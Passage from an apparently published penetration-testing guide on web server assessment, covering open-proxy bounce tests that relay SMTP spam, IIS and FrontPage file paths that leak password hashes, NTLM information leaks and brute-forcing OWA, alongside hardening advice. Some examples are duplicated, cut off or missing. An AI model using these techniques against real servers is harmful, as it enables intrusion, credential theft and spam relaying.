Example 6-8. Providing a valid Host: field returns a positive response

```bash
$ telnet www.example.org 80
Tryng 192.168.0.101...
Connected to www.example.org.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: www.example.org

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1792

To solicit a positive response (where the proxy server correctly forwards the request to the correct web server), you must provide a valid Host: field, as shown in Example 6-8.

Example 6-8. Providing a valid Host: field returns a positive response

```bash
$ telnet www.example.org 80
Trying 192.168.0.101...
Connected to www.example.org.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: www.example.org
```
We know that this Microsoft ISA server is processing the HTTP requests before forwarding them onto valid internal web servers. If we are aware of valid internal hostnames at the company or internal IP addresses, we can attempt to compromise web services at those addresses through the reverse proxy.

HTTP methods that are supported and forwarded by the web proxy for a given host can be enumerated using an HTTP OPTIONS request, as shown in Example 6-9.

HTTP CONNECT

Some web servers and proxy mechanisms in complex environments support the HTTP CONNECT method. Attackers and spammers can abuse the method to establish connections with arbitrary hosts.

To proxy a connection to TCP port 25 of maila.microsoft.com through a vulnerable host, supply the HTTP CONNECT request (followed by two carriage returns) shown in Example 6-10. Depending on configuration, a valid Host: field must sometimes be included to produce a positive response.
CERT released a vulnerability note in May 2002 ([http://www.kb.cert.org/vuls/id/150227](http://www.kb.cert.org/vuls/id/150227)) listing vendor web servers that are vulnerable to this proxy issue. Security-Focus also has good background information at [http://www.securityfocus.com/bid/4131](http://www.securityfocus.com/bid/4131).

Example 6-11 shows a failed CONNECT attempt, which usually involves either a “405 Method Not Allowed” message being returned or diversion back to a generic web page in larger environments.

Example 6-11. A failed HTTP CONNECT bounce

$$
$ telnet www.example.org 80
Trying 192.168.0.14...
Connected to 192.168.0.14.
Escape character is '\]'.
CONNECT maila.microsoft.com:25 HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Sat, 19 Jul 2003 18:21:32 GMT
Server: Apache/1.3.24 (Unix) mod_jk/1.1.0
Vary: accept-language,accept-charset
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>405 Method Not Allowed</title>
</head><body>
<H1>Method Not Allowed</H1>
The requested method CONNECT is not allowed for the URL<br>
<ADDRESS>Apache/1.3.24 Server at www.example.org Port 80</ADDRESS>
</body></html>

HTTP POST

Like CONNECT, POST is also used to gain access to internal hosts or send spam email. This vulnerability isn’t well documented, but according to the Blitzed Open Proxy Monitor ([http://www.blitzed.org/bopm/](http://www.blitzed.org/bopm/)) statistics, it’s the second-most prevalent type.
In particular, the mod_proxy module for Apache (version 1.3.27 and others) is susceptible to this attack in its default state. The module should be configured to allow only proxied connections to designated hosts and ports.

The technique is very similar to the CONNECT method, except that the attacker encapsulates the target server address and port within an http:// address and includes content type and length header information, as shown in Example 6-12.

Example 6-12. A successful HTTP POST bounce

```bash
$ telnet www.example.org 80
Trying 192.168.0.14...
Connected to 192.168.0.14.
Escape character is '^]'.
POST http://maila.microsoft.com:25/ HTTP/1.0
Content-Type: text/plain
Content-Length: 0

HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 42
220 inet-imc-02.redmond.corp.microsoft.com Microsoft.com ESMTP Server
```

**HTTP GET**

Older Blue Coat (CacheFlow) appliances are vulnerable to an HTTP GET attack if the target server is specified in the Host: field of the HTTP header. Example 6-13 shows a transcript of a CacheFlow appliance (running CacheOS 4.1.1) used to send mail to target@unsuspecting.com via mx4.sun.com.

Example 6-13. A successful HTTP GET bounce

```bash
$ telnet cacheflow.example.org 80
Trying 192.168.0.7...
Connected to 192.168.0.7.
Escape character is '^]'.
GET / HTTP/1.1
HOST: mx4.sun.com:25
HELO .
MAIL FROM: spammer@alter.net
RCPT TO: target@unsuspecting.com
DATA
Subject: Look Ma! I'm an open relay
Hi, you've been spammed through an open proxy, because of a bug in The CacheOS 4 platform code. Have a great day!
-Spammer
.

11:15:31 -0400
500 5.5.1 Command unrecognized: "GET / HTTP/1.0"
500 5.5.1 Command unrecognized: "HOST: mx4.sun.com:25"
```
Automated HTTP Proxy Testing

pxytest is a simple yet effective piece of software written by Chip Rosenthal. Available from [http://www.unicom.com/sw/pxytest](http://www.unicom.com/sw/pxytest), pxytest is a Perl script that can check target servers for HTTP CONNECT, POST, and Socks version 4 and 5 proxies, as shown in Example 6-14.

Example 6-14. The pxytest utility used to test for open proxies

```
$ pxytest 192.108.105.34
Using mail server: 207.200.4.66 (mail.soauloo.net)
Testing addr "192.108.105.34" port "80" proto "http-connect"
>>> CONNECT 207.200.4.66:25 HTTP/1.0\r\n\r
<<< HTTP/1.1 405 Method Not Allowed\r\nTesting addr "192.108.105.34" port "80" proto "http-post"
>>> POST http://207.200.4.66:25/ HTTP/1.0\r\n>>> Content-Type: text/plain\n>>> Content-Length: 6\n>>> QUIT\n<<< HTTP/1.1 405 Method Not Allowed\nTesting addr "192.108.105.34" port "8080" proto "http-connect"
>>> CONNECT 207.200.4.66:25 HTTP/1.0\r\n\r
<<< HTTP/1.1 405 Method Not Allowed\nTesting addr "192.108.105.34" port "8081" proto "http-connect"
>>> CONNECT 207.200.4.66:25 HTTP/1.0\r\n\r
<<< HTTP/1.1 405 Method Not Allowed\nTesting addr "192.108.105.34" port "1080" proto "socks4"
>>> binary message: 4 1 0 25 207 200 4 66 0
>>> binary message: 0 91 200 221 236 146 4 8
socks reply code = 91 (request rejected or failed)
Testing addr "192.108.105.34" port "1080" proto "socks5"
>>> binary message: 5 1 0
>>> binary message: 4 1 0 25 207 200 4 66 0
>>> binary message: 0 90 72 224 236 146 4 8
```
The `pxytest` utility hasn’t been updated in some time, but there are not sufficient replacements available so far as I can tell. I recommend that proxy tests be performed manually using a combination of HTTP headers and fields, including valid `Host:` values.

### Enumerating Virtual Hosts and Web Sites

Before we identify enabled subsystems and components used within a specific web environment or site (such as Microsoft FrontPage, PHP, or other components), we must enumerate the virtual hosts and web sites used in order to query them further.

During a penetration test, there are three ways of enumerating virtual hosts:

- The customer provides a list of specific hostnames used in its web environment
- Open source querying through Netcraft, Google, DNS, and other channels
- Active crawling and manual web server testing to obtain hostnames

Open source querying, active crawling, and manual testing techniques are discussed here.

### Identifying Virtual Hosts

When performing Internet host and network enumeration tasks (as covered in Chapter 3), we can use the following techniques in particular to identify the hostnames and virtual hosts that we should use to perform deep HTTP testing:

- Netcraft querying
- DNS querying

Active testing techniques, including the following, usually produce better results:

- Web server crawling to identify hostnames in the same domain
- SSL certificate analysis to retrieve the web server hostname
- Analysis of specific server responses to obtain the internal hostname and IP address

Figure 6-2 shows how we can use Wikto ([http://www.sensepost.com/research/wikto/](http://www.sensepost.com/research/wikto/)) to identify hostnames associated with the `barclays.com` domain through active crawling.
Once you have collected a list of hostnames and virtual hosts used under the target domain, you can use those hosts when testing web servers and reverse proxy arrays by including specific `Host:` field values when connecting.

### Identifying Subsystems and Enabled Components

Once you know how the target web server is running (whether it is a simple standalone web server, a server with multiple virtual hosts running on it, or a more complex reverse proxy mechanism or web farm), you can issue various HTTP requests to glean details of the subsystems and other server-side components and technologies that may be in use. The reason that this part of HTTP testing occurs after enumerating virtual hosts and web sites is that different components and technologies can be used within different web sites on the same server.

Increasing numbers of exposures and vulnerabilities are identified in web server subsystems and components used in complex environments.

Generic subsystems include:

- HTTP 1.0 methods
- HTTP 1.1 methods
- Web Distributed Authoring and Versioning (WebDAV)
- PHP
- Basic authentication mechanisms
Microsoft-specific subsystems include:

- IIS sample and administrative scripts
- ASP and ASP.NET
- ISAPI extensions
- Proprietary WebDAV extensions
- Microsoft FrontPage
- Windows Media Services
- Outlook Web Access (OWA)
- RPC over HTTP support
- Enhanced authentication mechanisms (NTLM and Negotiate)

Apache-specific subsystems include:

- OpenSSL
- Apache modules (including mod_perl, mod_ssl, mod_security, mod_proxy, and mod_rewrite)

By correctly ascertaining the core web server version and details of supported subsystems and enabled components, we can properly investigate and qualify vulnerabilities.

**Generic Subsystems**

HTTP 1.0 and 1.1, WebDAV, PHP, and Microsoft FrontPage are common generic subsystems found running on Microsoft IIS, Apache, and other web servers, depending on configuration. Identification of these components is discussed in this section.

**HTTP 1.0 methods**

Basic web server functionality includes support for HTTP 1.0. HTTP methods supported by HTTP 1.0 are outlined in RFC 1945, and are listed here with high-level descriptions:

**GET**
- Used to call specific server-side files or content (including scripts, images, and other data)

**POST**
- Used to post data and arguments to specific server-side scripts or pages

**HEAD**
- Used to ping specific server-side files or directories (no body text is returned by the server)
In general, these HTTP methods are not susceptible nowadays to process manipulation attack or other buffer overflow vulnerabilities, as they are mature in most web server packages. We are far more interested in abusing methods supported by HTTP 1.1 web servers, along with WebDAV and RPC over HTTP methods.

**HTTP 1.1 methods**

HTTP 1.1 web servers support the standard HTTP 1.0 methods (GET, POST, and HEAD), along with five additional methods, as listed in RFC 2616, and summarized here:

- **OPTIONS**
  Used to enumerate supported HTTP methods for a given page on the server side
- **PUT**
  Used to upload content to a specific location on the web server
- **DELETE**
  Used to delete specific content from the web server
- **TRACE**
  Used to echo the contents of a request to a location for debugging purposes
- **CONNECT**
  Used to proxy connections to arbitrary hosts and ports

These methods are far more interesting from a security perspective, as they allow attackers to modify server-side content and proxy connections to specific hosts. Specific attacks against these HTTP 1.1 methods are discussed later in this chapter.

**WebDAV**

WebDAV is supported by default in Microsoft IIS 5.0. Other web servers, including Apache, can also be configured to support WebDAV. It provides functionality to create, change, and move documents on a remote server through an extended set of HTTP methods.

Support for WebDAV HTTP methods is reasonably straightforward to identify. You can issue an HTTP OPTIONS request to the server for each virtual host and web site to enumerate sites that support WebDAV methods.

Basic WebDAV methods are described in RFC 2518. A summary of these methods and their applications is as follows (taken from [http://en.wikipedia.org/wiki/WebDAV](http://en.wikipedia.org/wiki/WebDAV)):

- **PROPFIND**
  Used to retrieve properties for a given server-side resource (file or directory)
- **PROPPATCH**
  Used to modify properties of a given resource
MKCOL
Usage to create directories (known as collections)

COPY
Usage to copy a resource

MOVE
Usage to move a resource

LOCK
Usage to place a lock on a resource

UNLOCK
Usage to remove a lock on a resource

Microsoft, Adobe, and other companies have developed proprietary HTTP and WebDAV methods, including SEARCH, RPC_CONNECT, CHECKIN, and CHECKOUT. Proprietary Microsoft methods are covered later in this chapter, and Adobe and other extensions are out of scope.

Example 6-15 shows an Apache 2.0.54 server with support for the seven basic WebDAV methods, along with standard HTTP 1.1 methods.

Example 6-15. Basic WebDAV support from an Apache 2.0.54 server

$ telnet test.webdav.org 80
Trying 140.211.166.111...
Connected to www.webdav.org.
Escape character is '^]'.

OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2007 05:29:39 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) DAV/2 SVN/1.3.2
DAV: 1,2
DAV: <http://apache.org/dav/propset/fs/1>
MS-Author-Via: DAV
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory

Microsoft has added a number of its own proprietary WebDAV methods to the seven standard methods. Microsoft IIS web servers and Exchange components used for OWA and other HTTP-based management of email support a number of extra methods. These additional methods are detailed later in this chapter, under the heading “Microsoft proprietary WebDAV extensions.”

PHP

PHP is a powerful scripting language, and interpreters are often used server-side on Microsoft IIS and Apache systems to support PHP functionality.
The PHP subsystem is straightforward to identify on web servers that process HEAD or OPTIONS requests by looking for “PHP” in the Server: and X-Powered-By: response fields, or PHPSESSID in the Set-Cookie: field. The following example shows an Apache server with PHP 4.3.2 installed:

```
$ telnet www.trustmatta.com 80
Trying 62.232.8.1...
Escape character is '^]'.
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 26 May 2003 14:29:55 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close

A Microsoft IIS 6.0 web server running PHP 4.4.4 looks something like this:

```
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/4.4.4
Set-Cookie: PHPSESSID=39597830998759842bffa3badedfa389; path=/
Date: Tue, 03 Jul 2007 10:06:15 GMT
Connection: close
```

If PHP processor information isn’t available from responses to HEAD or OPTIONS queries, an attacker may find accessible files on the web server with PHP (.php) file extensions. Most public PHP exploit scripts require that the user define an accessible file so that a malformed argument can be processed.

**Basic authentication mechanisms**

Two standard HTTP authentication mechanisms supported by virtually all web servers are Basic and Digest. These mechanisms are detailed in RFC 2617 in particular, but they are also covered in HTTP 1.0 and HTTP 1.1 specifications in some detail.

At a high level, Basic authentication is very weak, as user credentials are base-64 encoded and sent in plaintext to the server, which is easily compromised by performing passive network sniffing. The Digest mechanism was designed to overcome this, and user credentials are not sent in plaintext (they are in fact protected using MD5), although the mechanism is still vulnerable to *man-in-the-middle* (MITM) and other active session hijacking attacks.
To enumerate support for these authentication mechanisms, we must request protected pages or locations server-side. Upon requesting protected content, a 401 *Authorization Required* message is returned, with either Basic or Digest details after the WWW-Authenticate: field.

This server requires Basic authorization to access content:

```
HTTP/1.1 401 Authorization Required
Date: Sat, 20 Oct 2001 19:28:06 GMT
Server: Apache/1.3.19 (Unix)
WWW-Authenticate: Basic realm="File Download Authorization"
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
```

This server requires Digest authorization to access the Tomcat Manager component server-side:

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm="Tomcat Manager",
qop="auth,auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
opaque="5ccc069c403ebaf9f0171e9517f40e41"
```

The realm field is a label referring to the area or protected subsystem, but it sometimes reveals the server name or internal IP address (usually the case for Windows IIS web servers), as shown here:

```
HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="192.168.42.2"
Content-Length: 644
Content-Type: text/html
```

Web vulnerability scanning tools, such as Nikto (*http://www.cirt.net*) and N-Stalker (*http://www.nstalker.com*) can be used to automatically scan for directories and files that require authentication. These can then be investigated manually and attacked using brute-force password grinding tools (such as THC Hydra).

**Microsoft-Specific Subsystems**

Along with generic support for WebDAV and PHP (depending on configuration), Microsoft IIS web servers can support a number of other subsystems, including ASP and ASP.NET scripting languages, various ISAPI extensions, OWA, Microsoft FrontPage, and other components, including third-party packages. These common Microsoft subsystems are discussed here.
IIS sample and administrative scripts

Older Microsoft IIS 3.0 and 4.0 web servers have a plethora of ASP sample scripts and tools that showcase the capabilities of the web server. The following scripts can be used to upload files to the web server, issue database queries, perform brute-force password grinding, or to compromise sensitive data and files for later use:

/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp2b.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/iisshelp/iss/misc/iirturnh.htw
/iissamples/exair/howitworks/codebrws.asp
/iissamples/exair/search/qfullhit.htm
/iissamples/exair/search/qsumrhit.htm
/iissamples/exair/search/query.idq
/iissamples/exair/search/search.idq
/iissamples/iissamples/query.asp
/iissamples/iissamples/oop/qfullhit.htm
/iissamples/iissamples/oop/qsumrhit.htm
/iissamples/sdk/asp/docs/codebrws.asp
/msadc/samples/adctest.asp
/msadc/samples/selector/showcode.asp
/samples/search/queryhit.htm
/samples/search/queryhit.idq
/scripts/cpshost.dll
/scripts/iisadmin/ism.dll
/scripts/iisadmin/bdir.htr
/scripts/iisadmin/tools/newdsn.exe
/scripts/run.exe
/scripts/uploadn.asp

If the web server has been upgraded from IIS 3.0 or 4.0, these files will sometimes persist, and so it is important to check for the presence of these components against any Microsoft IIS web server.

An example of the aexp3.htr password management script is provided in Figure 6-3.

Web vulnerability scanning tools, such as Nikto and N-Stalker, can be used to scan automatically for the aforementioned administrative scripts. When hardening any IIS web server, it is imperative to remove the following:
identifying subsystems and enabled components

• All unnecessary sample and administrative scripts under the web root
• Support for unnecessary HTTP methods (such as PUT, DELETE, and WebDAV methods)
• Support for unnecessary ISAPI extensions (such as HTR, HTW, and IDQ)
• Executable permissions on directories that don’t need them

Microsoft ASP and ASP.NET

All Microsoft IIS web servers support Active Server Pages (ASP) by default, and web servers running IIS 5.0 and later are often found running .NET framework components. Many ASP.NET installations set up an aspnet_client directory under the webroot, which provides .NET framework version details in the /aspnet_client/system_web/subdirectory. If ASP.NET pages are in use (using .aspx file extensions as opposed to .asp), H D Moore’s dncan.pl utility can be used to enumerate details of the ASP.NET subsystem and its configuration (http://examples.oreilly.com/networksa/tools/dncan.pl.gz).

Example 6-16 shows the tool identifying the version of ASP.NET running on www.patchadvisor.com as 1.1.4322.573.
If ASP.NET debugging options are enabled, the utility shows the local path of the ASPX scripts, as shown in Example 6-17.

Example 6-17. Extracting sensitive information through ASP.NET

$ ./dnascan.pl http://www.example.org
[*] Sending initial probe request...
[*] Sending path discovery request...
[*] Sending null remote service request...

[.NET Configuration Analysis ]

  Server -> Microsoft-IIS/6.0
  ADNVersion -> 1.0.3705.288
  Application -> /home.aspx
  FilePath -> D:\example-web\asproot\n
Microsoft ISAPI extensions

Internet Server Application Programming Interface (ISAPI) provides application support within IIS, through DLLs that are mapped to specific file extensions. Numerous vulnerabilities have been identified in Microsoft ISAPI extensions supported by IIS web servers (such as .printer, .ida, and .htr). A breakdown of file extensions and their associated components within IIS is listed in Table 6-1.
Table 6-1. Microsoft IIS components and associated ISAPI extensions

<table>
<thead>
<tr>
<th>Component</th>
<th>Server-side DLL</th>
<th>File extensions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Server Pages</td>
<td>ASP.DLL</td>
<td>ASA, ASP, COR, CEX, and INC</td>
</tr>
<tr>
<td>ASP.NET framework</td>
<td>ASPNET_ISAPI.DLL</td>
<td>ASAX, ASCX, ASHX, ASMX, ASPX, AXD, CONFIG, CS, CSPROJ, LIXC, REM, RESOURCES, RESX, SOAP, VB, VBPROJ, VSDISCO, and WEBINFO</td>
</tr>
<tr>
<td>Web-based user management</td>
<td>ISM.DLL</td>
<td>HTR</td>
</tr>
<tr>
<td>Index Server</td>
<td>WEBHITS.DLL</td>
<td>HTW</td>
</tr>
<tr>
<td>Index Server</td>
<td>IDQ.DLL</td>
<td>IDA and IDQ</td>
</tr>
<tr>
<td>Internet Database Connector (IDC)</td>
<td>HTTPODBC.DLL</td>
<td>IDC and HTX</td>
</tr>
<tr>
<td>Internet Printing Protocol (IPP)</td>
<td>MSW3PRT.DLL</td>
<td>PRINTER</td>
</tr>
<tr>
<td>Server-side Includes (SSI)</td>
<td>SSINC.DLL</td>
<td>STM, SHTM, and SHTML</td>
</tr>
</tbody>
</table>

Table 6-2 shows the expected HTTP server response code and body text if an ISAPI extension is enabled server-side on a given Microsoft IIS web server (ASP and ASP.NET enumeration is covered in the previous section).

Table 6-2. Expected response codes and data for ISAPI extensions

<table>
<thead>
<tr>
<th>Extension</th>
<th>GET request</th>
<th>Response code</th>
<th>Body text</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTR</td>
<td>/test.htr</td>
<td>404 Object Not Found</td>
<td>Error: The requested file could not be found</td>
</tr>
<tr>
<td>HTW</td>
<td>/test.htw</td>
<td>200 OK</td>
<td>The format of QUERY_STRING is invalid</td>
</tr>
<tr>
<td>HTX</td>
<td>/test.htx</td>
<td>500 Internal Server Error</td>
<td>Error performing query</td>
</tr>
<tr>
<td>IDA</td>
<td>/test.ida</td>
<td>200 OK</td>
<td>The IDQ file test.ida could not be found</td>
</tr>
<tr>
<td>IDC</td>
<td>/test.idc</td>
<td>500 Internal Server Error</td>
<td>Error performing query</td>
</tr>
<tr>
<td>IDQ</td>
<td>/test.idq</td>
<td>200 OK</td>
<td>The IDQ file test.idq could not be found</td>
</tr>
<tr>
<td>PRINTER</td>
<td>/test.printer</td>
<td>500 Internal Server Error (13)</td>
<td>Error in web printer install</td>
</tr>
<tr>
<td>STM</td>
<td>/test.stm</td>
<td>404 Object Not Found</td>
<td>404 Object Not Found</td>
</tr>
<tr>
<td>SHTM</td>
<td>/test.shtm</td>
<td>404 Object Not Found</td>
<td>404 Object Not Found</td>
</tr>
<tr>
<td>SHTML</td>
<td>/test.shtml</td>
<td>404 Object Not Found</td>
<td>404 Object Not Found</td>
</tr>
</tbody>
</table>

Microsoft IIS WebDAV extensions. Along with the seven basic WebDAV methods covered in the previous section and outlined in RFC 2518, Microsoft IIS 5.0 (and IIS 6.0 with WebDAV enabled) supports the SEARCH method, which is used to issue server-side search requests using crafted XML queries.

Example 6-18 shows a Microsoft IIS 5.0 server OPTIONS response, listing supported WebDAV methods (including the seven standard WebDAV methods along with SEARCH).
Microsoft Exchange Server WebDAV extensions. Microsoft Exchange 2000 Server supports several WebDAV extensions in addition to those included in Microsoft IIS 5.0. These additional extensions are used to manage email and calendar entries server-side. They are detailed in http://msdn2.microsoft.com/en-us/library/aa142917.aspx and are listed here:

BCOPY
- Used to batch copy resources

BDELETE
- Used to batch delete resources

BMOVE
- Used to batch move resources

BPROPFIND
- Used to retrieve properties for multiple resources

BPROPPATCH
- Used to modify properties of multiple resources

NOTIFY
- Used to monitor events firing, receiving UDP datagrams

POLL
- Used to acknowledge receipt or response to a particular event

SUBSCRIBE
- Used to create a subscription to a resource

UNSUBSCRIBE
- Used to remove a subscription to a resource

Microsoft Exchange 2003 Server includes an additional WebDAV extension:

X-MS-ENUMATTRS
- Used to enumerate the attachments of an email message
Microsoft FrontPage

Microsoft FrontPage Server Extensions are commonly found running on Microsoft IIS web servers, as many hosting companies running virtual hosts or dedicated web servers provide support so that users can manage their web sites through Microsoft FrontPage (which doesn’t use separate channels such as FTP to upload and manage web content). FrontPage extensions are also (less commonly) found on Unix-based Apache servers.

In particular, existence of the following files and directories disclose the presence of FrontPage server extensions running on a web server:

```
/cgi-bin/htimage.exe
/cgi-bin/imagemap.exe
/postinfo.html
/_vti_inf.html
/_private/
/_vti_bin/fpcount.exe
/_vti_bin/ovwssr.dll
/_vti_bin/shtml.dll
/_vti_bin/_vti_adm/admin.dll
/_vti_bin/_vti_aut/dvwssr.dll
/_vti_bin/_vti_aut/author.dll
/_vti_bin/_vti_aut/fp30reg.dll
/_vti_cnf/
/_vti_log/
/_vti_pvt/
/_vti_txt/
```

These files and directories can be found both under the web root (`/`), and user directories that have FrontPage enabled (such as `/~user/` in Apache). We are particularly interested in the accessible DLL files (including `author.dll` and `fp30reg.dll`), which provide functionality for users to remotely upload and manage content, and have known process-manipulation vulnerabilities. When FrontPage is installed on non-Microsoft servers (such as Apache), some of the server-side binary files have EXE extensions, as follows:

```
/_vti_bin/ovwssr.exe
/_vti_bin/_vti_adm/admin.exe
/_vti_bin/_vti_aut/dvwssr.exe
/_vti_bin/_vti_aut/author.exe
```

The `/_vti_inf.html` file is particularly useful, as it sometimes contains FrontPage deployment information, as follows:

```
FrontPage Configuration Information
FPVersion="5.0.2.4330"
FPShtmlScriptUrl="_vti_bin/shtml.exe/_vti_rpc"
```
The **FPVersion** string defines the version of FrontPage Server Extensions in use on the target system (3.x is FrontPage 98, 4.x is FrontPage 2000, and 5.x is FrontPage 2002).

The other directories and files listed do not present as much of a risk (other than simple information leak), as they are primarily used as static configuration files. Depending on the configuration, the following additional FrontPage files may also be found server-side:

- \_vti\_pvt/#haccess.ctl
- \_vti\_pvt/access.cnf
- \_vti\_pvt/botinfo.cnf
- \_vti\_pvt/bots.cnf
- \_vti\_pvt/deptodoc.btr
- \_vti\_pvt/doctodep.btr
- \_vti\_pvt/linkinfo.btr
- \_vti\_pvt/linkinfo.cnf
- \_vti\_pvt/service.cnf
- \_vti\_pvt/service.grp
- \_vti\_pvt/services.cnf
- \_vti\_pvt/structure.cnf
- \_vti\_pvt/svcacl.cnf
- \_vti\_pvt/writeto.cnf

The following PWD files are especially useful, as they contain 56-bit DES password hashes, which can be easily cracked using tools such as John the Ripper (http://www.openwall.com/john/):

- \_vti\_pvt/authors.pwd
- \_vti\_pvt/service.pwd
- \_vti\_pvt/users.pwd

Upon compromising a given user password, the credentials can be used to gain FrontPage access and upload files accordingly (such as a malicious ASP script used to trigger a buffer overflow server-side).

**Windows Media Services**

When Microsoft Windows Media Services is installed on an IIS 5.0 web server, the following vulnerable DLL is installed server-side:

- \scripts\nsislog.dll

A significant issue relating to this DLL file is CVE-2003-0349, a remote overflow resulting in arbitrary code execution (MS03-022). Reliable exploits are available for MSF, CORE IMPACT, and Immunity CANVAS.
Outlook Web Access

Microsoft Exchange mail servers are often found running OWA components to facilitate remote HTTP and HTTPS access to user email. Many medium-sized companies favor this approach for remote access because of its simplicity and effectiveness over deployment of VPN and secure remote access solutions. Figure 6-4 shows OWA running from an Exchange 5.5 SP4 server.

By checking for /owa, /exchange, and /mail directories under the web root through both HTTP and HTTPS web services, you can usually identify OWA services. Access to OWA is normally tied into Windows AD domain authentication, so brute-force attacks can be launched using tools such as Brutus or THC Hydra. These tools can compromise valid user passwords, which can then be used by an attacker to gain access to more than just email.

RPC over HTTP support

Microsoft Exchange Server 2003 and later support RPC over HTTP, which allows Outlook clients to access email and calendars through HTTP and HTTPS web components. Outlook clients natively use RPC to communicate with Exchange servers, and so RPC over HTTP is just a mechanism that allows for regular Outlook communication through an RPC proxy.

RPC over HTTP is facilitated through the RPC_CONNECT method. If this method is enabled, you should use Todd Sabin’s ifids utility with the ncaen_http command-line flag to enumerate the supported RPC over HTTP interfaces (this is discussed in Chapter 10, in the section “Enumerating Accessible RPC Server Interfaces”).

Figure 6-4. OWA login screen
Enhanced authentication mechanisms

Along with support for the Basic authentication mechanism as described earlier in this chapter, Microsoft IIS web servers also support the following authentication types:

- NTLM (detailed in [http://www.innovation.ch/personal/ronald/ntlm.html](http://www.innovation.ch/personal/ronald/ntlm.html))
- Negotiate (Simple and Protected Negotiate; RFC 4559)

The NTLM mechanism uses a base64-encoded challenge-response mechanism to authenticate users. Negotiate can proxy either NTLM or Kerberos authentication details between the Security Support Provider (SSP) and the client. Negotiate using NTLM works in the same way as the standard NTLM authentication mechanism.

By issuing crafted NTLM and Negotiate requests, we can get a response from the server (if these authentication mechanisms are supported) that includes the details of the authentication mechanism, the Windows NT hostname and domain, and the Windows AD hostname and domain. Example 6-19 shows a Negotiate directive being sent to the web server and a base64 response being returned. In the case of reverse proxies and complex web farm environments, make sure to use the correct Host field.

Example 6-19. Obtaining server details through NTLM

```
$ telnet 83.142.224.21 80
Trying 83.142.224.21...
Connected to 83.142.224.21.
Escape character is '^]'.
GET / HTTP/1.1
Host: iis-server
Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAAA

HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.0
Date: Mon, 09 Jul 2007 19:03:51 GMT
WWW-Authenticate: Negotiate TlRMTVNTUAACAAAADgAOADAAAAAFgoG9IvB7KAg92AQAAAAAAAGAYYAaAAAAbw8JAEGOAwb8F.AFQAUwACAAAAAvw83AEQOwb8BAFQjw8A8gATQBBFRIwAEBYAvAw8pAGQzwb8LAH0AcwAwAGMAbwbAwAAASABGbABAdAEAcgBzAC4Adw8pAGQzwb8LAH0AcwAwAGMAbwbAwAAASABGbABAdAEAcgBzAC4Adw8pAGQzwb8LAH0AcwAwAGMAbwbAwAAASABGbABAdAEAcgBzAC4Adw8pAGQzwb8LAH0AcwAwAGMAbwbAwAAASABGbABAdAEAcgBzAC4Adw
Content-Length: 4033
Content-Type: text/html
```

Using a base64 decoding tool (whether online through a web browser or locally), the ASCII strings found in the Negotiate response sent back from the server are as follows:

- NTLMS0P0
- WIDGETS
- MARS
- widgets.com
- mars.widgets.com
This response shows that NTLM is the mechanism proxied through Negotiate and the SSP for authentication, the Windows NT domain name is WIDGETS, the hostname is MARS, and the Active Directory FQDN is mars.widgets.com. This is useful information that can be fed back into DNS testing and other network enumeration processes.

Web vulnerability scanning tools, such as Nikto and N-Stalker, can be used to automatically scan for directories and files that require authentication. These can then be investigated manually and attacked using brute-force password grinding tools such as THC Hydra.

The NTLM Negotiate (SPNEGO) authentication mechanism is susceptible to a specific ASN.1 heap overflow (CVE-2003-0818), as supported by MSF, Immunity CANVAS, and CORE IMPACT, resulting in arbitrary code execution on Windows 2000 SP4 and XP SP1.

**Apache Subsystems**

Along with support for generic components and subsystems (HTTP 1.1 methods, basic authentication, PHP, and WebDAV methods), Apache web servers are often found running a number of modules and subsystems, including:

- OpenSSL
- Apache modules (including mod_perl, mod_ssl, mod_security, mod_proxy, and mod_rewrite)

Identification and fingerprinting of these components is discussed here.

You can identify the presence of Apache subsystems by analyzing HTTP HEAD and OPTIONS responses. A typical Linux Apache web server will respond in the following way to a HEAD request:

```
$ telnet www.rackshack.com 80
Trying 66.139.76.203...
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 15 Jul 2003 18:06:05 GMT
Server: Apache/1.3.27 (Unix) (Red-Hat/Linux) Frontpage/5.0.2.2623
mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

It is apparent from the `Server`: string that the following subsystems and components are installed:

- FrontPage 5.0.2.2623
- mod_ssl 2.8.12
• OpenSSL 0.9.6b
• DAV 1.0.3
• mod_perl 1.26

